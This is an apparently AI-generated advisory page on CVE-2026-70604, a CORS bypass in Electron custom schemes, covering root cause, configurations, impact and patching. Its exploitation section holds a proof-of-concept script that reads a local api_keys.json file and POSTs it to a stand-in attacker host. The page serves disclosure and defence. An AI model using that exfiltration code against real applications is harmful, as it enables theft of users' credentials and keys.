CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-70604

CVE-2026-70604: Cross-Origin Resource Sharing (CORS) Bypass in Electron Custom Schemes

Amit Schendel
Amit Schendel
Senior Security Researcher

Aug 5, 2026·6 min read·17 visits

Executive Summary (TL;DR)

Electron custom protocols lacked CORS checks when supportFetchAPI was enabled without explicit corsEnabled configurations. This permitted remote pages to read sensitive local assets cross-origin.

Electron custom schemes registered with supportFetchAPI: true but without corsEnabled: true failed to apply CORS enforcement in versions prior to 39.8.10, 40.9.3, 41.4.0, and 42.0.0. This mapping discrepancy allowed malicious remote pages to issue cross-origin requests, read sensitive local response data, and bypass Same-Origin Policy (SOP) mechanisms.

Vulnerability Overview

Electron allows developers to define custom URI schemes (e.g., app-data://) to handle local assets or application logic within the renderer process. These schemes are registered via the Main Process using protocol.registerSchemesAsPrivileged(), which grants specific web-like privileges to the custom protocol so it can interact with internal web mechanisms.

The vulnerability, identified as CVE-2026-70604, is a classic Same-Origin Policy (SOP) bypass stemming from a mapping mismatch between Electron's privilege registration and Chromium's network-security configuration engine. Under certain conditions, remote origins could fetch and read arbitrary data served by these custom schemes.

The flaw specifically targets applications that register custom schemes with the supportFetchAPI privilege enabled but omit the corsEnabled configuration. This combination inadvertently disables standard cross-origin verification checks, exposing sensitive internal application interfaces to untrusted remote websites loaded in any renderer instance.

Root Cause Analysis

Custom protocols in Electron can be configured with multiple flags, including supportFetchAPI and corsEnabled. The supportFetchAPI parameter enables standard JavaScript network APIs (fetch, XMLHttpRequest) to query the scheme, while corsEnabled instructs Chromium to subject the scheme to standard Cross-Origin Resource Sharing rules.

In vulnerable versions of Electron, registering a scheme with supportFetchAPI: true and corsEnabled: false (or leaving it undefined) created an insecure configuration state. Chromium registered the scheme's ability to process network operations but failed to enforce CORS policy checks. This failure meant that instead of defaulting to a restrictive "same-origin-only" stance, the engine allowed cross-origin requests without validation.

The underlying issue lies in how Electron handles scheme capabilities inside Chromium's SchemeRegistry. When corsEnabled is omitted or set to false, Electron's registration code did not properly signal Chromium to treat the scheme as a restricted local resource that must reject cross-origin requests. Consequently, the browser engine allowed remote web content to access the response payload.

To trigger the vulnerability, an attacker must inject or load a malicious remote origin into an Electron BrowserWindow that hosts the insecurely configured custom scheme. Since the custom scheme does not require authentication and has CORS checks deactivated, any standard API call from the untrusted web context successfully extracts local application data.

Code Analysis

The vulnerability is remediated by modifying how Electron registers custom schemes within Chromium's network stack. Specifically, the patch ensures that any custom scheme utilizing the Fetch API is automatically subjected to CORS validations unless explicitly configured otherwise under highly controlled parameters.

The following code block demonstrates how developers register schemes in the Main Process. If corsEnabled is missing or false under vulnerable versions, the protection fails:

// Vulnerable Registration Method
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true, // Enabled fetch operations
      corsEnabled: false,    // CORS is not enforced, leading to SOP bypass
      secure: true
    }
  }
]);

The patch alters the internal C++ registry of Electron to verify that schemes configured with supportFetchAPI default to strict CORS checks. The internal implementation enforces corsEnabled behavior as the default fallback when supportFetchAPI is active, closing the open mapping gap.

The corrected configuration pattern forces the browser to evaluate CORS headers. If the custom protocol handler does not respond with appropriate Access-Control-Allow-Origin values, the browser's network service drops the transaction:

// Patched Configuration Pattern
protocol.registerSchemesAsPrivileged([
  {
    scheme: 'app-internal',
    privileges: {
      supportFetchAPI: true,
      corsEnabled: true, // Mandated to prevent cross-origin leakage
      secure: true
    }
  }
]);

Exploitation Methodology

An exploitation scenario requires an attacker to control the content rendered in an active Electron window or frame. This control can be achieved by loading an external malicious URL, exploiting a cross-site scripting (XSS) vulnerability on a legitimate remote site, or leveraging an open redirect within the application.

Once running in the renderer process, the attacker's script initiates a standard JavaScript fetch() request targeting the custom protocol, such as app-internal://config/session.json. Because Chromium's CORS enforcement mechanism is bypassed, the browser executes the request, retrieves the response, and grants the script full access to the response body.

The recovered sensitive data, which might include private configuration variables, authentication tokens, or localized application state, is then exfiltrated to an attacker-controlled listener. The following proof-of-concept script demonstrates how an attacker can leverage this bypass to siphon target data:

// Script executed from remote origin (e.g., https://attacker-controlled-server.xyz)
const target = 'app-internal://config/api_keys.json';
fetch(target)
  .then(res => res.json())
  .then(data => {
    // Exfiltrate stolen configuration properties
    fetch('https://attacker-controlled-server.xyz/log', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ exfiltrated: data })
    });
  })
  .catch(err => console.error('Exploit failed', err));

This process bypasses conventional security boundaries. Even if the renderer process runs with contextIsolation enabled and nodeIntegration disabled, the web application context still retains access to standard web APIs like fetch(), making this exploit highly reliable and independent of Node.js integration status.

Impact Assessment

The capability to read arbitrary responses from a custom protocol presents a critical risk to confidentiality. Many Electron applications utilize custom protocols to host local databases, load application code, manage user sessions, or interact with private hardware resources.

The vulnerability is assigned a CVSS score of 7.4 (High Severity), with the vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N. The Scope metric is set to "Changed" because the vulnerability permits a remote origin to break the browser's origin boundary and read resources associated with a completely distinct custom scheme origin.

This flaw does not directly enable remote code execution or file system writes, as it is strictly a read-based policy bypass. However, the exfiltrated credentials, cryptographic keys, or session identifiers can frequently be leveraged in secondary attack chains to compromise broader application systems or corporate networks.

Remediation & Mitigation Strategy

To fully resolve the security risk, applications must be updated to an Electron release containing the official patch. The vulnerability is fixed in versions 39.8.10, 40.9.3, 41.4.0, and 42.0.0. Upgrading these packages ensures that the custom scheme mapping interface is securely bound within the Chromium network service.

If an immediate framework upgrade is unfeasible, developers should audit their scheme privilege registrations. If a custom scheme does not require interaction from standard network APIs, supportFetchAPI should be configured as false. This adjustment removes the protocol from the Chromium network fetch pipeline, eliminating the attack vector.

If cross-origin capabilities are required, developers must explicitly configure corsEnabled: true. This setting forces Chromium to validate incoming requests against strict CORS parameters, requiring the protocol handler to validate the Origin header and emit appropriate Access-Control headers before permitting read access.

In addition to scheme-level configurations, developers should enforce strict Content Security Policies (CSP) within their renderers. A robust CSP that restricts connect-src directives to trusted hosts can prevent the exfiltration of stolen data, providing a critical layer of defense-in-depth.

Official Patches

ElectronGitHub Security Advisory GHSA-v3j7-r9gq-3gjw

Technical Appendix

CVSS Score
7.4/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

Affected Systems

Electron Framework

Affected Versions Detail

Product
Affected Versions
Fixed Version
Electron
Electron
< 39.8.1039.8.10
Electron
Electron
>= 40.0.0, < 40.9.340.9.3
Electron
Electron
>= 41.0.0, < 41.4.041.4.0
Electron
Electron
>= 42.0.0, < 42.0.042.0.0
AttributeDetail
CWE IDCWE-942: Permissive Cross-domain Policy with Untrusted Domains
Attack VectorNetwork (AV:N)
CVSS v3.17.4 (High Severity)
Exploit StatusPoC (Proof-of-Concept) Available
KEV StatusNot Listed
ImpactConfidentiality Bypass / Same-Origin Policy (SOP) Break

MITRE ATT&CK Mapping

T1189Drive-by Compromise
Initial Access
T1539Steal Web Session Cookie
Credential Access
CWE-942
Permissive Cross-domain Policy with Untrusted Domains

The application does not properly restrict or enforce cross-origin restrictions when processing network communications from untrusted origins, allowing sensitive local state information to be read.

Vulnerability Timeline

Vulnerability published via GitHub Security Advisory
2026-08-05
CVE-2026-70604 assigned and published
2026-08-05

References & Sources

  • [1]GitHub Security Advisory GHSA-v3j7-r9gq-3gjw
  • [2]CVE-2026-70604 CVE Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 18 hours ago•CVE-2026-12243
7.5

CVE-2026-12243: Incomplete Path Traversal Validation and Percent-Encoding Bypass in NLTK

CVE-2026-12243 is a path traversal vulnerability in the Natural Language Toolkit (NLTK) version 3.9.4. The flaw exists because the input validation routine fails to account for percent-encoded directory traversal sequences like '..%2f' before passing them to urllib.request.url2pathname(), which decodes them into active traversal sequences.

Amit Schendel
Amit Schendel
3 views•8 min read
•about 19 hours ago•CVE-2026-73654
8.5

CVE-2026-73654: Prototype Pollution in Trigger.dev leading to Cascading Denial of Service

CVE-2026-73654 is a high-severity prototype pollution vulnerability in Trigger.dev. The flaw occurs during the handling of run-metadata updates through the PUT /api/v1/runs/:runId/metadata endpoint. Because user-supplied keys are parsed directly by the @jsonhero/path library without sanitization, an authenticated attacker with low privileges can pollute the global Object.prototype. This causes database queries via Prisma ORM to fail validation and induces unhandled exceptions in the Prometheus metrics client, resulting in a process-wide denial of service.

Alon Barad
Alon Barad
9 views•6 min read
•about 21 hours ago•CVE-2026-73559
6.5

CVE-2026-73559: Uncontrolled Resource Consumption in vLLM API completions

CVE-2026-73559 is an uncontrolled resource consumption vulnerability in the vLLM engine, specifically within the /v1/completions API endpoint, allowing authenticated attackers to cause application-level denial of service via unbounded prompt arrays.

Amit Schendel
Amit Schendel
8 views•5 min read
•about 23 hours ago•CVE-2026-54526
9.9

CVE-2026-54526: Strict Template Referencing Bypass and Privilege Escalation in Argo Workflows

A critical security bypass vulnerability in Argo Workflows allows authenticated attackers with workflow submission privileges to bypass 'Strict' or 'Secure' template referencing restrictions. By injecting unvalidated fields into the nested ArtifactGC configuration, attackers can execute arbitrary pod patches, leading to host namespace escape and cluster-wide privilege escalation.

Alon Barad
Alon Barad
15 views•6 min read
•1 day ago•CVE-2026-54249
6.8

CVE-2026-54249: Server-Side Request Forgery via Confused Deputy in Pydantic AI UI Adapters

A Server-Side Request Forgery (SSRF) / Confused Deputy vulnerability has been identified in Pydantic AI UI Adapters (such as VercelAIAdapter). Under certain conditions, a malicious client can supply manipulated message history with provider metadata that forces the server to resolve files within privileged cloud environments (AWS S3, Google Cloud Storage) or model providers. This occurs because the adapters deserialize client-provided metadata structures directly into UploadedFile instances without validation, which are subsequently fetched using high-privilege server credentials.

Alon Barad
Alon Barad
7 views•7 min read
•1 day ago•GHSA-RM43-82J9-R4MJ
8.2

GHSA-RM43-82J9-R4MJ: Path Traversal (Arbitrary File Read) in atomic-agents-stack Dashboard

A path traversal vulnerability in the optional dashboard server of atomic-agents-stack before version 1.1.0 allows unauthenticated remote attackers to read arbitrary files from the host filesystem.

Amit Schendel
Amit Schendel
8 views•6 min read